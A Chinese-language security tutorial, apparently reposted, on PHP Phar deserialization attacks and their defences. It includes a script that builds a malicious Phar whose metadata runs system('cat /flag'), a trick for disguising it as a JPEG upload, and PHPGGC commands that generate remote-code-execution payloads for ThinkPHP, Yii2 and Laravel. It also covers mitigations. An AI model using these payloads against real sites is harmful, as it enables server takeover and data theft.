文章总结: 本文深入解析PHPPhar反序列化漏洞原理,指出利用phar://协议访问文件会自动反序列化metadata触发POP链,无需显式调用unserialize。文中详述构造恶意Phar文件及绕过上传限制的方法,结合PHPGGC工具演示ThinkPHP、Laravel等框架实战,并提出关闭写入权限等防御措施,揭示了文件操作中隐蔽的攻击面。 综合评分: 89 文章分类: WEB安全,漏洞分析,渗透测试,安全工具
即使只是检测文件是否存在,PHP 仍然会执行:
-
解析 Phar 文件
-
读取 metadata
-
自动反序列化
如果 metadata 中存放的是恶意对象,那么对象的魔术方法就可能被触发。
攻击流程通常如下:
上传恶意Phar
↓
伪装为图片
↓
服务器执行文件操作
↓
Phar解析触发
↓
Metadata自动反序列化
↓
POP链执行
↓
命令执行
攻击者甚至不需要找到 unserialize()。
🧪 三、构造恶意Phar文件
攻击者首先需要生成一个带有恶意 metadata 的 Phar 文件。
步骤如下。
首先需要关闭 PHP 的只读限制:
phar.readonly = Off
然后编写生成脚本。
class Flag{
public $code;
public function __destruct(){ eval($this->code); }
}
$a = new Flag();
$a->code = "system('cat /flag');";
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
执行脚本后会生成一个文件:
exp.phar
这个 Phar 的 metadata 中包含一个序列化对象。
🎭 四、绕过文件上传限制
现实环境中,服务器通常会禁止上传 .phar 文件。
但是 Phar 文件可以通过修改后缀绕过检测。
例如:
exp.phar → avatar.jpg
Phar 文件结构允许前缀存在任意内容,因此可以伪造图片头。
攻击者上传文件:
avatar.jpg
如果服务器代码中存在如下逻辑:
file_exists("phar://uploads/avatar.jpg");
此时 metadata 会被自动解析。
POP 链也随之触发。
🧰 五、自动生成POP链:PHPGGC
在真实框架环境中,手动构造 POP 链是非常困难的。
因此安全研究人员开发了一个工具:
PHPGGC
全称:
PHP Generic Gadget Chains
GitHub 地址:
https://github.com/ambionics/phpggc
它的作用类似 Java 世界里的 ysoserial。
只需指定框架和执行命令,就可以自动生成反序列化 Payload。
⚔️ 六、框架实战案例
ThinkPHP
./phpggc ThinkPHP/RCE4 system "cat /flag"
Yii2
./phpggc Yii2/RCE1 exec "cp /flag /tmp/test"
Laravel
./phpggc Laravel/RCE2 system "id"
Laravel 是目前 POP 链最丰富的 PHP 框架之一。
许多 CTF 题目都基于它设计。
🧠 七、Phar攻击完整链
真实攻击流程通常如下:
生成恶意Phar
↓
修改后缀绕过检测
↓
上传服务器
↓
程序执行文件操作
↓
phar://解析触发
↓
metadata自动反序列化
↓
POP链执行
↓
命令执行
攻击成立通常只需要两个条件:
-
允许上传文件
-
代码存在文件操作
因此 Phar 在很多场景都可以被利用,例如:
-
文件上传模块
-
图片处理组件
-
日志读取功能
-
模板加载系统
-
缓存文件系统
🛡️ 八、防御思路
开发者可以从几个角度降低风险。
关闭 Phar 写入功能:
phar.readonly = On
禁用 Phar 协议:
stream_wrapper_unregister("phar");
避免在类中使用危险魔术方法:
__destruct
__wakeup
__toString
同时严格校验上传文件类型。
🧾 总结
Phar 反序列化是 PHP 安全研究中非常典型的一类漏洞。
它揭示了一个重要事实:
漏洞往往不在显眼的位置,而在系统自动行为里。
本文核心要点:
-
Phar 是 PHP 的打包格式
-
metadata 会自动触发反序列化
-
文件函数可能解析 phar
-
攻击者可构造恶意 Phar 文件
-
PHPGGC 可以生成 POP 链
-
可利用于 ThinkPHP、Yii、Laravel 等框架
理解这种机制之后,再去审计 PHP 项目,你会发现:
很多看似普通的文件操作,其实隐藏着极深的攻击面。
复杂系统总会产生奇妙的副作用。
安全研究,就是发现这些副作用的人类活动之一。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet Сяо Яо Сяо Яо《第88天-Web攻防大揭秘:PHP反序列化漏洞的“隐藏核武器”——Phar深度解析与框架实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论